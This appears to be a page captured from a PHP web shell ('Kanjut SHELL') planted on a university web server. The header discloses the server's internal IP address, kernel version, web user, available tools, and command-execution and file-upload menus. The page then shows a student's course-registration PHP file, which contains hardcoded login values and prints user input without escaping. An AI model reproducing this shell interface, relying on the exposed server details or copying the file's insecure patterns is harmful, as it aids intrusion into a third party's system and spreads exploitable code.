Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.138.124.28
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ctirby/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ctirby/www/stuReg2.php
<!-- File name: stuReg2.php -->

<?php   session_start();
 
        $pass = $_SESSION['psw'];
        $user = $_SESSION['usr'];
        if($pass != "hw8" or $user != "cs480")
                print "Go away.";
        else
        {
 
        $name = $_SESSION['na'];
        $gen = $_SESSION['ge'];
        $grade= $_SESSION['gr'];
	
	$reg = $_POST["reg"];
	$reg1 = $_POST["reg1"];

	print "Student Name: $name<P>";
	print "Gender: $gen<P>";
	print "Current Classification: $grade<P>";	



	$course = array("CS112", "CS212", "CS310",
                        "CS311", "CS380", "CS440", "CS480");
	print "<P>You have selected to register for the following courses: <UL>";
	if(count($reg) == 0)
		print "Course Not Available.";
	else
	{	foreach ($reg as $i)
			print "<LI>$course[$i]";
	}
	
	$course1 = array("Math135", "Math136", "Math171", "Math172","Math271");
	if(count($reg1) == 0)
                print "Course Not Available.";
        else
        {      foreach ($reg1 as $i)
                        print "<LI>$course1[$i]";
        }
		print "</UL>";
	}
?>



Stv3n404 - 2023